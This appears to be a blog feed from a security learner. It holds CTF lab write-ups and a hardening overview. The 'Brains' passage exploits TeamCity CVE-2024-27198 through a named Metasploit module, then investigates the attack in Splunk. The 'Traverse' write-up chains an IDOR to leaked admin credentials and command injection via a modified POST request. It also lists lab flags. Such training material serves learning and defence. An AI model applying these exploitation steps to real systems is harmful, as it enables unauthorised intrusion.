<p><strong>Discovered Paths</strong>:
<img alt="6" loading="lazy" src="/images/tactics/brains/6.png"></p>
<ul>
<li><code>login.html</code></li>
<li><code>400.html</code></li>
<li><code>forgotPassword.html</code></li>
<li><code>resetPassword.html</code></li>
</ul>
<h3 id="vulnerability-research">Vulnerability Research</h3>
<p>Searching for a vulnerability for the specific version <code>2023.11.3</code> in <strong>JetBrains</strong> products.
<img alt="7" loading="lazy" src="/images/tactics/brains/7.png"></p>
<p>There is an identified critical authentication bypass vulnerability tracked as <a href="https://nvd.nist.gov/vuln/detail/cve-2024-27198">CVE-2024-27198</a> an allows performing admin actions.</p>
<h2 id="exploitation">Exploitation</h2>
<h3 id="command-execution--remote-code-execution">Command Execution &amp; Remote Code Execution</h3>
<p>Knowing there is a specific vulnerability to perform admin actions implies we will be able to execute code remotely. To make the exploitation process quick, <code>Metasploit</code> will help to automate the entire process. Launch <code>msfconsole</code></p>
<h4 id="step-1-select-exploit-module">Step 1: Select Exploit module</h4>
<p>Searching for the specific exploit module, <code>search cve:2024-27198</code>
<img alt="8" loading="lazy" src="/images/tactics/brains/8.png"></p>
<p>Select the exploit,<code>exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198</code>
<img alt="9" loading="lazy" src="/images/tactics/brains/9.png"></p>
<h4 id="step-2-execute-the-payload">Step 2: Execute the payload</h4>
<p>Firstly, examining the required options to be filled in, <code>show options</code>
<img alt="10" loading="lazy" src="/images/tactics/brains/10.png"></p>
<p>The required options in this scenario are:</p>
<ul>
<li><code>RHOSTS</code></li>
<li><code>RPORT</code></li>
</ul>
<p>Insert the needed values use <code>set RHOSTS 10.113.170.99</code> and <code>set RPORT 50000</code> and verify that are correctly selected using <code>show options</code> again.
<img alt="11" loading="lazy" src="/images/tactics/brains/11.png"></p>
<p>Verify if the target is vulnerable after setting the options using <code>check</code>, then run the exploit with <code>run</code>
<img alt="12" loading="lazy" src="/images/tactics/brains/12.png"></p>
<h4 id="step-3-environment-check">Step 3: Environment Check</h4>
<p>Execute basic commands to understand the environment:</p>
<ul>
<li><code>whoami</code></li>
<li><code>pwd</code></li>
<li><code>ls</code>
<img alt="13" loading="lazy" src="/images/tactics/brains/13.png"></li>
</ul>
<p>The flag is mentioned to be in the home flag. Therefore, navigate to the specific folder using <code>cd /home</code> and <code>ls ubuntu</code>
<img alt="14" loading="lazy" src="/images/tactics/brains/14.png"></p>
<p>Read the content of the file <code>flag.txt</code> using <code>cat ubuntu/flag.txt</code>
<img alt="15" loading="lazy" src="/images/tactics/brains/15.png"></p>
<p><strong>Output:</strong><code>THM{faa9bac345709b6620a6200b484c7594}</code></p>
<blockquote>
<p><strong>Home folder flag Found:</strong><code>THM{faa9bac345709b6620a6200b484c7594}</code></p>
</blockquote>
<h1 id="investigation">Investigation</h1>
<p>The IT department has provided the compromised server. The goal is to identify the attacker&rsquo;s footprints in the post-exploitation stage. <strong>Splunk</strong> will be the first place to delve into the scenario.</p>
<ul>
<li>Username: <code>splunk</code></li>
<li>Password: <code>analyst123</code></li>
</ul>
<h2 id="splunk-examination">Splunk Examination</h2>
<h3 id="malicious-user">Malicious User</h3>
<p>Access Splunk using the following URL, <code>http://10.114.181.179:8000</code>
<img alt="16" loading="lazy" src="/images/tactics/brains/16.png"></p>
<p>It is required to explore the <code>Search &amp; Reporting</code> app to investigate the logs from the <code>brains</code> service. Select the option <code>Data Summary</code> to extract all the entrances classified by specific criteria.
<img alt="17" loading="lazy" src="/images/tactics/brains/17.png"></p>
<p>Since the attacker has been authorized as a <code>root</code> all the authentication logs are stored in <code>auth.log</code>
<img alt="18" loading="lazy" src="/images/tactics/brains/18.png"></p>
<p>Display all records captured from <code>auth.log</code> by selecting the time frame as <code>All time</code>
<img alt="19" loading="lazy" src="/images/tactics/brains/19.png"></p>
<p>Since the next flag mentions <strong>user</strong>, looking at the section called <code>INTERESTING FIELDS</code> does not mention anything about <code>name</code> or <code>user</code> initially, but there is an option to select <code>more fields</code>
<img alt="20" loading="lazy" src="/images/tactics/brains/20.png"></p>
<p>In the <code>Field</code> column there is an instance called <code>name</code>. By displaying the field, there is an interesting line that mentions the user.
<img alt="21" loading="lazy" src="/images/tactics/brains/21.png"></p>
<blockquote>
<p><strong>Name of the backdoor user which was created on the server after exploitation:</strong> <code>eviluser</code></p>
</blockquote>
<p>By including the filter of the known malicious user, we can identify the day of the attack.
<img alt="22" loading="lazy" src="/images/tactics/brains/22.png"></p>
<p>It is vital to inspect <code>7/14/24</code></p>
<h3 id="malicious-package">Malicious Package</h3>
<p>Within the <code>Data Summary</code>, the <code>Sourcetypes</code> section mentions <code>packages</code>. Therefore, the next step is to review its content. Before anything, apply an advisable filter to reduce the entrances by selecting <code>Date &amp; Time Range</code> and specifying the date <code>07/14/2024</code>
<img alt="23" loading="lazy" src="/images/tactics/brains/23.png"></p>
<p>Now there are all the instances with the source type <code>packages</code> that were registered in the system before <code>7/24/24</code>
<img alt="24" loading="lazy" src="/images/tactics/brains/24.png"></p>
<p>The first instance contains a suspicious name called <code>datacollector</code></p>
<blockquote>
<p><strong>Name of the malicious-looking package installed on the server</strong>: <code>datacollector</code></p>
</blockquote>
<h3 id="plugin-installed">Plugin Installed</h3>
<p>To look for the malicious plugin, it is mandatory to first review the service that was attacked. It is called <code>teamcity</code>. Therefore, look in the <code>Data Summary</code> within the <code>Sources</code> section where  <code>teamcity-activities.log</code>.</p>
<p>Repeating the same temporal criteria as for the malicious package and apply an additional filter <code>*plugin*</code>. The entries generated by Splunk will be the most relevant to inspect based on the scenario.
<img alt="25" loading="lazy" src="/images/tactics/brains/25.png"></p>
<p>Looking at the first instance it reveals a bizarre name <code>AyzzbuXY</code> and it is a <code>zip</code> file. This is the plugin.</p>
<blockquote>
<p><strong>Name of the plugin installed on the server after successful exploitation:</strong> <code>AyzzbuXY.zip</code></p>
</blockquote>
<h1 id="conclusion">Conclusion</h1>
<p>By scanning the IP, identifying the service on port <code>50000</code> as a <strong>JetBrains TeamCity</strong> instance, and exploiting a known vulnerability (<strong>CVE-2024-27198</strong>) that allows a remote code execution as the root user, we successfully retrieved the initial flag.</p>
<p>By accessing Splunk to review <code>Data Summary</code> where was registered the authentication and TeamCity service activities were registered as logs, we successfully retrieved the forensic flags.</p>
<h1 id="mitigations-and-remediations">Mitigations and Remediations</h1>
<p>To prevent these specific vulnerabilities in a production environment, the following measures should be implemented:</p>
<ol>
<li><strong>Patch Management</strong>: immediately update JetBrains TeamCity to the latest version to mitigate known CVEs like CVE-2024-27198.</li>
<li><strong>Network Segmentation</strong>: restrict access to administrative interfaces (like TeamCity login page) to trusted IP ranges only, rather than exposing them publicly.</li>
<li><strong>Log Monitoring &amp; SIEM</strong>: implement robust logging and real-time monitoring (like Splunk) to detect anomalous user creation, suspicious package installations, and unauthorized plugin activity.</li>
<li><strong>Principle of Least Privilege</strong>: ensure that services do not run with unnecessary root privileges and that user accounts are strictly controlled.</li>
</ol>
<h2 id="final-answers">Final Answers</h2>
<ol>
<li><strong>Home folder flag:</strong> <code>THM{faa9bac345709b6620a6200b484c7594}</code></li>
<li><strong>Name of the backdoor user which was created on the server after exploitation:</strong> <code>eviluser</code></li>
<li><strong>Name of the malicious-looking package installed on the server</strong>: <code>datacollector</code></li>
<li><strong>Name of the plugin installed on the server after successful exploitation:</strong> <code>AyzzbuXY.zip</code></li>
</ol>
]]></content:encoded></item><item><title>Network and System Security</title><link>https://alexanderroca.dev/strategy/3.-network-and-system-security/</link><pubDate>Thu, 14 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/strategy/3.-network-and-system-security/</guid><description>Focus on security architecture and hardening systems.</description><content:encoded><![CDATA[<h2 id="introduction">Introduction:</h2>
<p>Theory is only as good as its implementation. You can have the best risk management policy in the world, but if your firewalls are misconfigured or your servers are running default passwords, the strategy collapses.</p>
<p>This section moved beyond &ldquo;what&rdquo; we need to protect and focused intensely on &ldquo;how&rdquo; we actually harden the infrastructure against real-world attacks.</p>
<p>From securing network architectures to locking down Active Directory and navigating the complexities of cloud security, here is a breakdown of the critical skills I acquired and how they are reshaping my approach to engineering.</p>
<hr>
<h2 id="1-secure-network-architecture">1. Secure Network Architecture</h2>
<p>Before touching a single command line, I had to rethink how networks are built. The old model of a &ldquo;trusted internal network&rdquo; is dead.
<img alt="Secure_Network" loading="lazy" src="/images/strategy/Secure_Network.png"></p>
<h3 id="key-takeaways">Key Takeaways:</h3>
<ul>
<li><strong>Segmentation is King:</strong> I learned that flat networks are a nightmare for security. By segmenting networks (VLANs, subnets), we limit lateral movement. If an attacker compromises a printer, they shouldn&rsquo;t be able to pivot to the database server.</li>
<li><strong>DMZs and Choke Points:</strong> Understanding how to place public-facing services in a Demilitarized Zone (DMZ) and funneling all traffic through controlled choke points (firewalls, proxies) is essential for minimizing exposure.</li>
<li><strong>Zero Trust in Architecture:</strong> The architecture itself must enforce &ldquo;never trust, always verify.&rdquo; This means micro-segmentation and strict access controls at every hop, not just at the perimeter.</li>
</ul>
<hr>
<h2 id="2-linux-and-windows-hardening">2. Linux and Windows Hardening</h2>
<p>Operating systems are the foundation of almost every service we run. If the OS is weak, everything on top of it is vulnerable.</p>
<h3 id="linux-system-hardening">Linux System Hardening:</h3>
<ul>
<li><strong>Least Privilege:</strong> Moving away from root usage and implementing strict <code>sudo</code> policies.</li>
<li><strong>Service Minimization:</strong> Disabling unused services (SSH if not needed, unnecessary daemons) to reduce the number of entry points.</li>
<li><strong>File Permissions:</strong> Understanding the nuances of <code>chmod</code>, <code>chown</code>, and ACLs to ensure sensitive files (like <code>/etc/shadow</code>) are inaccessible to unauthorized users.</li>
<li><strong>Kernel Parameters:</strong> Tweaking sysctl settings to prevent IP spoofing and other network-level attacks.</li>
</ul>
<h3 id="microsoft-windows--active-directory-hardening">Microsoft Windows &amp; Active Directory Hardening:</h3>
<ul>
<li><strong>The AD Danger Zone:</strong> Active Directory is the crown jewel of many enterprises, and therefore the primary target. I learned how to secure Domain Controllers, enforce strong password policies, and manage Group Policy Objects (GPOs) effectively.</li>
<li><strong>Disabling Legacy Protocols:</strong> Turning off SMBv1, NTLMv1, and other outdated protocols that are ripe for exploitation.</li>
<li><strong>User Account Control (UAC):</strong> Ensuring UAC is enabled to prevent unauthorized elevation of privileges.</li>
<li><strong>Audit Policies:</strong> Configuring Windows to log critical events (logons, privilege changes) so we can detect anomalies.</li>
</ul>
<hr>
<h2 id="3-network-devices-and-protocols">3. Network Devices and Protocols</h2>
<p>It&rsquo;s not just about servers; the devices that connect them are equally critical. A misconfigured router or switch can bypass all other security measures.</p>
<h3 id="network-device-hardening">Network Device Hardening:</h3>
<ul>
<li><strong>Management Plane Security:</strong> Disabling Telnet and HTTP in favor of SSH and HTTPS. Changing default credentials is the bare minimum; using AAA (Authentication, Authorization, Accounting) with TACACS+ or RADIUS is the goal.</li>
<li><strong>Port Security:</strong> Preventing unauthorized devices from connecting to switch ports.</li>
<li><strong>Firmware Updates:</strong> Keeping device firmware up to date to patch known vulnerabilities.</li>
</ul>
<h3 id="network-security-protocols">Network Security Protocols:</h3>
<ul>
<li><strong>Encryption in Transit:</strong> Understanding the difference between SSL, TLS 1.2, and TLS 1.3.</li>
<li><strong>Secure Authentication:</strong> Moving away from cleartext protocols (FTP, Telnet) to secure alternatives (SFTP, SSH).</li>
<li><strong>IPSec and VPNs:</strong> How to establish secure tunnels for remote access and site-to-site connectivity.</li>
</ul>
<hr>
<h2 id="4-virtualization-containers-and-cloud">4. Virtualization, Containers, and Cloud</h2>
<p>The modern infrastructure is rarely physical. It&rsquo;s virtual, containerized, and often in the cloud.</p>
<h3 id="virtualization-and-containers">Virtualization and Containers:</h3>
<ul>
<li><strong>Hypervisor Security:</strong> Ensuring the hypervisor itself is hardened to prevent VM escape attacks.</li>
<li><strong>Container Isolation:</strong> Understanding that containers share the host kernel. If the kernel is compromised, all containers are at risk.</li>
<li><strong>Image Scanning:</strong> The importance of scanning container images for vulnerabilities before deployment.</li>
</ul>
<h3 id="intro-to-cloud-security">Intro to Cloud Security:</h3>
<ul>
<li><strong>Shared Responsibility Model:</strong> In the cloud, the provider secures the <em>cloud</em> (hardware, physical), but I am responsible for security <em>in the cloud</em> (configurations, data, identities).</li>
<li><strong>Cloud-Native Tools:</strong> Getting familiar with native security tools like AWS Security Hub, Azure Security Center, and CloudTrail for logging.</li>
<li><strong>Misconfiguration Risks:</strong> Most cloud breaches aren&rsquo;t due to hacking, but due to simple misconfigurations.</li>
</ul>
<hr>
<h2 id="5-auditing-and-monitoring">5. Auditing and Monitoring</h2>
<p>You can&rsquo;t defend what you can&rsquo;t see. The final piece of the puzzle is how to detect intrusions and verify compliance.</p>
<h3 id="auditing-and-monitoring">Auditing and Monitoring:</h3>
<ul>
<li><strong>SIEM Fundamentals:</strong> How to aggregate logs from different sources (firewalls, servers, AD) into a Security Information and Event Management (SIEM) system.</li>
<li><strong>Log Analysis:</strong> Learning to read logs not just for errors, but for signs of malicious activity (failed login attempts, unusual outbound traffic).</li>
<li><strong>Compliance Auditing:</strong> Using automated tools to check if systems adhere to security baselines.</li>
<li><strong>Incident Detection:</strong> Setting up alerts for specific indicators of compromise (IOCs) to trigger immediate investigation.</li>
</ul>
<hr>
<h2 id="conclusion">Conclusion:</h2>
<p>I no longer just talk about &ldquo;hardening&rdquo;; I know exactly which commands to run, which policies to configure, and which protocols to disable.</p>
<p>This section taught me that security engineering is a continuous cycle:</p>
<ol>
<li><strong>Design</strong> a secure architecture.</li>
<li><strong>Harden</strong> the systems and devices.</li>
<li><strong>Monitor</strong> for deviations.</li>
<li><strong>Audit</strong> to ensure compliance.</li>
<li><strong>Repeat.</strong></li>
</ol>
<p>The transition from &ldquo;knowing&rdquo; to &ldquo;doing&rdquo; is the most valuable part. Whether it&rsquo;s securing a Linux server, locking down an Active Directory forest, or configuring a cloud bucket, the principles remain the same: minimize the attack surface, enforce least privilege, and watch everything.</p>
]]></content:encoded></item><item><title>Traverse Write-up</title><link>https://alexanderroca.dev/tactics/traverse/</link><pubDate>Tue, 26 May 2026 00:00:00 +0000</pubDate><guid>https://alexanderroca.dev/tactics/traverse/</guid><description>You are Bob, a security engineer working with the DevOps team on a tourism web application. After moving the site to production, the team noticed it was being hacked. The objective is to identify the exploited vulnerabilities, retrieve the flags, and restore the website.</description><content:encoded><![CDATA[<p><a href="https://tryhackme.com/room/traverse">🔗 Room Link</a></p>
<p><strong>Difficulty:</strong> Easy<br>
<strong>Tags:</strong> CTF, Web Exploitation, Privilege Escalation<br>
<strong>Target IP:</strong> <code>10.113.133.17</code></p>
<h1 id="objective">Objective</h1>
<p>Act as Bob, a security engineer, to identify the vulnerabilities exploited on the tourism website in the production environment, retrieve the hidden flags, and restore the website to its original state.</p>
<h1 id="reconnaissance--enumeration">Reconnaissance &amp; Enumeration</h1>
<p>The challenge begins by accessing the web service via the target IP: <code>http://10.113.133.17</code>
<img alt="1" loading="lazy" src="/images/tactics/traverse/1.png"></p>
<blockquote>
<p><strong>Minified Javascript</strong>: the process of removing unnecessary characters from JavaScript code, such as whitespace, comments, and line breaks, without changing its functionality.</p>
</blockquote>
<p>By mentioning &ldquo;minified&rdquo; it means that the JavaScript code was modified. Inspecting the <strong>Page Source</strong> reveals several critical clues:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#75715e">&lt;!-- Rest PHP code and html content --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE html&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">lang</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;en&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;UTF-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">title</span>&gt;Tourism Website&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span> 
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;/tailwind.min.js&#39;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt; <span style="color:#75715e">&lt;!-- THIS IS OFFICIAL FILE - DO NOT CHANGE IT --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;custom.min.js&#39;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt; <span style="color:#75715e">&lt;!-- THIS IS CUSTOM JS FILE--&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/style.css&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Navigation Bar --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">nav</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bg-gray-900 text-white p-6&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;flex justify-between items-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">a</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-lg font-bold&#34;</span>&gt;Tourism MHT &lt;/<span style="color:#f92672">a</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">ul</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;flex items-center gap-5&#34;</span>&gt;
</span></span><span style="display:flex;"><span>	  <span style="color:#75715e">&lt;!--  &lt;li&gt;&lt;a href=&#34;https://alexanderroca.dev/img&#34; class=&#34;hover:text-gray-300&#34;&gt;Logs&lt;/a&gt;&lt;/li&gt;  Please keep all images in this folder --&gt;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#75715e">&lt;!--  &lt;li&gt;&lt;a href=&#34;./logs&#34; class=&#34;hover:text-gray-300&#34;&gt;Logs&lt;/a&gt;&lt;/li&gt;  DevOps team to check and remove it later on --&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        
</span></span><span style="display:flex;"><span>              
</span></span><span style="display:flex;"><span>      &lt;/<span style="color:#f92672">ul</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">nav</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Main Content --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">main</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34; mx-auto py-8  h-[80vh] flex items-center justify-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;rounded overflow-hidden shadow-lg bg-white  p-8 flex &#34;</span>&gt;
</span></span><span style="display:flex;"><span>		        &lt;<span style="color:#f92672">h2</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-gray-700 text-3xl py-6&#34;</span>&gt; FINALLY HACKED !!! I HATE MINIFIED JAVASCRIPT&lt;/<span style="color:#f92672">h2</span>&gt;
</span></span><span style="display:flex;"><span>	    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">main</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">&lt;!-- Footer --&gt;</span>
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">footer</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;bg-gray-900 text-white flex items-center justify-center&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text-center p-4&#34;</span>&gt;
</span></span><span style="display:flex;"><span>      &lt;<span style="color:#f92672">p</span>&gt;&amp;copy; 2023 Tourism.mht. All rights reserved.&lt;/<span style="color:#f92672">p</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;/<span style="color:#f92672">footer</span>&gt;&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>It mentions <strong>PHP</strong> at the top of the source code.
Moreover, there are relevant comments:</p>
<ul>
<li><code>custom.min.js</code>: Custom JS file</li>
<li><code>/img</code>: Keeps all the images</li>
<li><code>./logs</code>: To check logs and remove later for DevOps</li>
</ul>
<h2 id="service-analysis">Service Analysis</h2>
<p>Inspecting the <em>Network</em> tab in browser development tools reveals a <code>GET</code> request to <code>custom.min.js</code>
<img alt="2" loading="lazy" src="/images/tactics/traverse/10.png"></p>
<p>Downloading and examining the file reveals the content is encoded in <code>Hexadecimal</code> (<strong>hex</strong>)
<img alt="3" loading="lazy" src="/images/tactics/traverse/11.png"></p>
<blockquote>
<p><strong>What type of encoding is used by the hackers to obfuscate the JavaScript file?</strong> <code>hex</code></p>
</blockquote>
<p>Using <strong>CyberChef</strong> to decode the hex string reveals the hidden message <code>DIRECTORY LISTING IS THE ONLY WAY</code>
<img alt="4.png" loading="lazy" src="/images/tactics/traverse/12.png"></p>
<blockquote>
<p><strong>What is the flag value after deobfuscating the file?</strong> <code>DIRECTORY LISTING IS THE ONLY WAY</code></p>
</blockquote>
<h2 id="directory-enumeration">Directory Enumeration</h2>
<p>Following the hints from the source code comments:</p>
<h3 id="1-image-directory-img">1. Image Directory (<code>/img</code>)</h3>
<p>Visiting <code>http://10.113.133.17/img</code> reveals an <strong>Apache server</strong> running on <strong>Ubuntu</strong>. No immediate flags are found in the images.
<img alt="5.png" loading="lazy" src="/images/tactics/traverse/2.png"></p>
<h3 id="2-logs-directory-logs">2. Logs Directory (<code>/logs</code>)</h3>
<p>Visiting <code>http://10.113.133.17/logs</code> reveals a file named <code>email_dump.txt</code>
<img alt="6.png" loading="lazy" src="/images/tactics/traverse/3.png"></p>
<blockquote>
<p><strong>What is the name of the file containing email dumps?</strong> <code>email_dump.txt</code></p>
</blockquote>
<p>Reading the content of <code>email_dump.txt</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>From: Bob &lt;bob@tourism.mht&gt;
</span></span><span style="display:flex;"><span>To: Mark &lt;mark@tourism.mht&gt;
</span></span><span style="display:flex;"><span>Subject: API Credentials
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hey Mark,
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Sorry I had to rush earlier for the holidays, but I have created the directory for you with all the required information for the API.
</span></span><span style="display:flex;"><span>You loved SSDLC so much, I named the API folder under the name of the first phase of SSDLC.
</span></span><span style="display:flex;"><span>This page is password protected and can only be opened through the key. THM{100100111}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>See ya after the holidays
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Bob.
</span></span></code></pre></div><p>The email mentions the API folder is named after the <strong>first phase of SSDLC</strong>. The first phase is <strong>Planning</strong>.</p>
<blockquote>
<p><strong>The logs folder contains email logs and has a message for the software team lead. What is the name of the directory that Bob has created?</strong> <code>Planning</code></p>
</blockquote>
<p>The email also provides the password/key: <code>THM{100100111}</code></p>
<blockquote>
<p><strong>What is the key file for opening the directory that Bob has created for Mark?</strong> <code>THM{100100111}</code></p>
</blockquote>
<h1 id="exploitation">Exploitation</h1>
<h2 id="credential-discovery--api-abuse">Credential Discovery &amp; API Abuse</h2>
<h3 id="step-1-accessing-the-planning-directory">Step 1: Accessing the Planning Directory</h3>
<p>Visiting <code>http://10.113.133.17/planning</code> requires a password. Entering the key <code>THM{100100111}</code> grants access.
<img alt="7.png" loading="lazy" src="/images/tactics/traverse/4.png"></p>
<h3 id="step-2-enumerating-users">Step 2: Enumerating Users</h3>
<p>Inside, we find instructions for an API endpoint: <code>GET http://MACHINE_IP/api/?customer_id=1</code></p>
<p>The objective is to find specific user details via the API.
<img alt="8.png" loading="lazy" src="/images/tactics/traverse/5.png"></p>
<p><strong>Finding User ID 5</strong>: Calling <code>http://10.113.133.17/api/?customer_id=5</code> returns information for a client:
<img alt="9.png" loading="lazy" src="/images/tactics/traverse/6.png"></p>
<p>There is an information from the customer <strong>id=5</strong>, where the email is <a href="mailto:john@traverse.com">john@traverse.com</a> and it is a <strong>client</strong> user.</p>
<blockquote>
<p><strong>What is the email address for ID 5 using the leaked API endpoint?</strong> <code>john@traverse.com</code></p>
</blockquote>
<p><strong>Finding the Admin User</strong>: Iterating through IDs reveals that <code>id=3</code> belongs to an administrator. Calling: <code>http://10.113.133.17/api/?customer_id=3</code> reveals:
<img alt="10.png" loading="lazy" src="/images/tactics/traverse/7.png"></p>
<blockquote>
<p><strong>What is the ID for the user with admin privileges?</strong> <code>3</code></p>
</blockquote>
<p>It displays the <strong>endpoint</strong> to get access <code>/realadmin</code> and it reveals an email <code>realadmin@traverse.com</code>, name <code>admin</code> and password <code>admin_key!!!</code></p>
<blockquote>
<p><strong>What is the endpoint for logging in as the <code>admin</code>? Mention the last endpoint instead of the URL.</strong> <code>/realadmin</code></p>
</blockquote>
<h3 id="step-3-gaining-admin-access">Step 3: Gaining Admin Access</h3>
<p>Navigating to <code>http://10.113.133.17/realadmin</code>:
<img alt="11.png" loading="lazy" src="/images/tactics/traverse/8.png"></p>
<p>Logging in with the credentials found (<code>realadmin@traverse.com / admin_key!!!</code>) grants access to the admin panel.
<img alt="12.png" loading="lazy" src="/images/tactics/traverse/9.png"></p>
<h3 id="step-4-environment-check">Step 4: Environment Check</h3>
<p>The admin panel offers options to execute system commands.</p>
<ul>
<li><code>System Owner</code>: output <code>www-data</code> (equivalent to <code>whoami</code>)</li>
<li><code>Current Directory</code> output <code>/var/www/html/realadmin</code> (equivalent to <code>pwd</code>)</li>
</ul>
<p>Using the browser&rsquo;s <strong>Network</strong> tab to intercept the <code>POST</code> request, we can modify the payload to execute arbitrary commands.
<img alt="13.png" loading="lazy" src="/images/tactics/traverse/13.png"></p>
<p>Sending <code>commands=ls -lsa</code> reveals the directory contents.
<img alt="14.png" loading="lazy" src="/images/tactics/traverse/14.png"></p>
<p>Two critical files are identified:</p>
<ul>
<li><code>thm_shell.php</code>: likely the web shell used by the attacker.</li>
</ul>
<blockquote>
<p><strong>Can you find the name of the web shell that the attacker has uploaded?</strong> <code>thm_shell.php</code></p>
</blockquote>
<ul>
<li><code>renamed_file_manager.php</code>: a renamed file manager tool</li>
</ul>
<blockquote>
<p><strong>What is the name of the file renamed by the attacker for managing the web server?</strong> <code>renamed_file_manager.php</code></p>
</blockquote>
<p>A password for the file manager is also displayed in the output:<code>THM{10101}</code></p>
<h3 id="step-5-restoring-the-website">Step 5: Restoring the Website</h3>
<p>Accessing <code>http://10.113.133.17/realadmin/renamed_file_manager.php</code> with the password<code>THM{10101}</code> opens the file manager.
<img alt="15.png" loading="lazy" src="/images/tactics/traverse/15.png"></p>
<p>Locating the <code>index.php</code>, we observe it has been modified to display <strong>&ldquo;FINALLY HACKED&rdquo;</strong> message.
<img alt="16.png" loading="lazy" src="/images/tactics/traverse/16.png"></p>
<p>Editing the file to remove the malicious message restores the site.
<img alt="17.png" loading="lazy" src="/images/tactics/traverse/17.png"></p>
<p>The final flag of this room is in the file: <code>THM{WEBSITE_RESTORED}</code></p>
<blockquote>
